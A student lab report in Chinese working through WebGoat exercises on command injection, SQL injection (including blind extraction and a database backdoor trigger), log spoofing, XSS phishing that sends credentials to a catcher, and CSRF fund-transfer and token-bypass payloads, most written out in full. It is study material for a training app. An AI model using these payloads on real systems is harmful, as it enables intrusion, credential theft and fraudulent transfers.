2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础
目录
- XSS攻击的原理,如何防御
- 全称为跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 在表单提交或者url参数传递前,对需要的参数进行过滤
- 检查用户输入的内容中是否有非法内容
- CSRF攻击原理,如何防御
- 全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF可以看做是XSS攻击的一种。
- CSRF的攻击分为两步,首先要注入恶意URL地址,然后在该地址中写入攻击代码,利用
<img>
等标签或者使用Javascript脚本。- 防御:
- 通过referer、token或者验证码来检测用户提交
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作
- 避免全站通用的cookie,严格设置cookie的域
二、SQL注入攻击
1. 命令注入(Command Injection)
目标:能够在目标主机上执行任何系统命令
- 点击
Injection Flaws
-Command Injection
- 右键点击复选框,选择
inspect Element
审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
- 点击
view
,可查看到命令执行结果
- 正常的结果是这样的
2. 数字型SQL注入(Numeric SQL Injection)
目标:显示天气情况
- 点击
Injection Flaws
-Numeric SQL Injection
- 右键点击复选框,选择
inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
- 点击
Go
,可以看到攻击成功
左上角的符号表明做对了~
3. 日志欺骗(Log Spoofing)
目标:使用户名为
admin
的用户在日志中显示成功登录
- 点击
Injection Flaws
-Log Spoofing
- 在
User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回车0D%
和换行符%0A
让其在日志中两行显示 - 输入密码后点击
Login
,可以看到webgoat
在Login Fail
那行显示,我们自己添加的语句在下一行显示
- 此外,攻击者可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。
- 在用户名中输入
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息
- 在用户名中输入
4. 字符串型注入(String SQL Injection)
目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
- 点击
Injection Flaws
-String SQL Injection
- 输入查询的用户名
Smith' or 1=1--
- 操作中我们使用了
'
提前闭合""
,插入永真式1=1
,且--
注释掉后面的内容,这样就能select表里面的所有数据 - 结果如下:
- 操作中我们使用了
5. LAB: SQL Injection
使用SQL注入绕过认证。
- 在密码框输入
' or 1=1 --
,登录失败,会发现密码只有一部分输入,说明密码长度有限制。
- 我们在密码框右键选择
inspect Element
审查网页元素对长度进行修改
- 重新输入
' or 1=1 --
,登录成功
6. 数据库后门(Database Backdoors)
数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。
攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。
- 输入
101
,得到该用户的信息
可以发现,输入的语句没有验证,很容易进行 SQL 注入。 - 输入注入语句
101; update employee set salary=10000
(这里执行了两个语句,中间需要用分号分隔)
- 设置触发器:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
- 由于WebGoat 使用的是MySQL数据库,不支持触发器,因此该课程并不能在这里真正实现。
7. 数字型盲注入(Blind Numeric SQL Injection)
某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
- 服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句:
SELECT * FROM user_data WHERE userid=accountNumber;
- 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
- 使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效:
101 AND 1=1 101 AND 1=2`
第一个语句中,两个条件都成立,所以页面返回Account number is valid
;而第二条则返回帐号无效
- 现在针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们PIN数值是否大于10000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000
- 不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
- 在查询框中输入
2364
并提交
8. 字符串型盲注入(Blind String SQL Injection)
目标:找到
pins
表中cc_number
字段值为4321432143214321
的记录中pin字段的数值。pin字段类型为varchar
。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
- 这里我们查询的字段是一个字符串而不是数值,与上一节类似我们同样可以通过注入的方式查找到该字段的值:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
(该语句使用了SUBSTRING 方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。) - 经过多次测试(比较
0-9A-Za-z
等字符串)和页面的返回数据,判断出第一个字符为J
。同理继续判断第二个字符:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
- 最终,判断出pin字段的值为
Jill
,提交该值。
三、XSS攻击
1. Phishing with XSS 跨站脚本钓鱼攻击
在XSS的帮助下,我们可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
- 一个带用户名和密码输入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
- 在
XSS
-Phishing with XSS
搜索上面代码,可以看到页面中增加了一个表单
- 现在我们需要一段脚本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
- 这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
- 将上面两段代码合并搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
- 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。
2. Stored XSS Attacks 存储型XSS攻击
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 在Message中构造语句
<script>alert("20165330 attack succeed!");</script>
,Title任意输入。提交后可发现刚创建的帖子5330
。 - 点击
5330
,然后会弹出一个对话框,证明XSS攻击成功。
3. Reflected XSS Attacks 反射型XSS攻击
XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
- 在
Enter your three digit access code:
中输入<script>alert("I am 20165330");</script>
点击Purchase
,成功显示警告框,内容为我们script脚本指定的内容。
- 若我们输入上一课程的脚本,其原理相同,也会成功。
四、CSRF攻击
1. Cross Site Request Forgery(CSRF)
CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
- 点击
XSS
-Cross Site Request Forgery(CSRF)
- 查看页面右下方
Parameters
中的src和menu值,我的分别为309
和900
- 在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片) - 输入任意Title,提交后,在
Message List
中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2. CSRF Prompt By-Pass
- 点击
XSS
-CSRF Prompt By-Pass
- 同上面的攻击,查看页面右下方的
Parameters
中的src和menu值,我的分别为320和900,并输入任意的Title,message框中输入代码<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
生成以Title命名的链接,点击链接,攻击成功
3. CSRF Token By-Pass
目标是向包含恶意转账请求的新闻组发送电子邮件。要成功完成,需要获取有效的请求令牌。显示转账表单的页面包含有效的请求令牌。转账页面的URL是“攻击”servlet,带有本课的“屏幕”和“菜单”查询参数以及额外的参数“transferFunds=main”。加载此页面,读取令牌并将令牌附加到伪造的请求中,以转移资金
- 点击
XSS
-CSRF Token By-Pass
- 查看网页
http://local host:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main
生成的资金转账页面的表单内容。
- 右键查看源代码,可以看到Token参数
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/728/900' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='79375628'> <input type='submit'> </form>
- 结合上面的token值构造伪造的URL,附加转账参数4000。下面是我从网上教程中找到的一段代码,通过frame->forme的路径可以读取并保存CSRFToken参数:
<script> var tokenvalue; // Step 2 :窃取token function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[1]; var token = form.CSRFToken.value; tokenvalue = '&CSRFToken='+token; loadFrame2(); } //Step 3 :结合token值构造伪造的URL,附加转账参数4000 function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="?transferFunds=4000"+tokenvalue; } </script> <!-- Step 1 :给出的是正常的页面,其实已经加载了一个js脚本,来获取token--> <iframe src="http://localhost:8080/WebGoat/attack?Screen=728&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <!-- Step 4 :将构造的URL发送给Server并生效--> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe>
- 点击
Submit
后查看以Title命名的链接
不知道为啥我的显示是这样的。。。
参考资料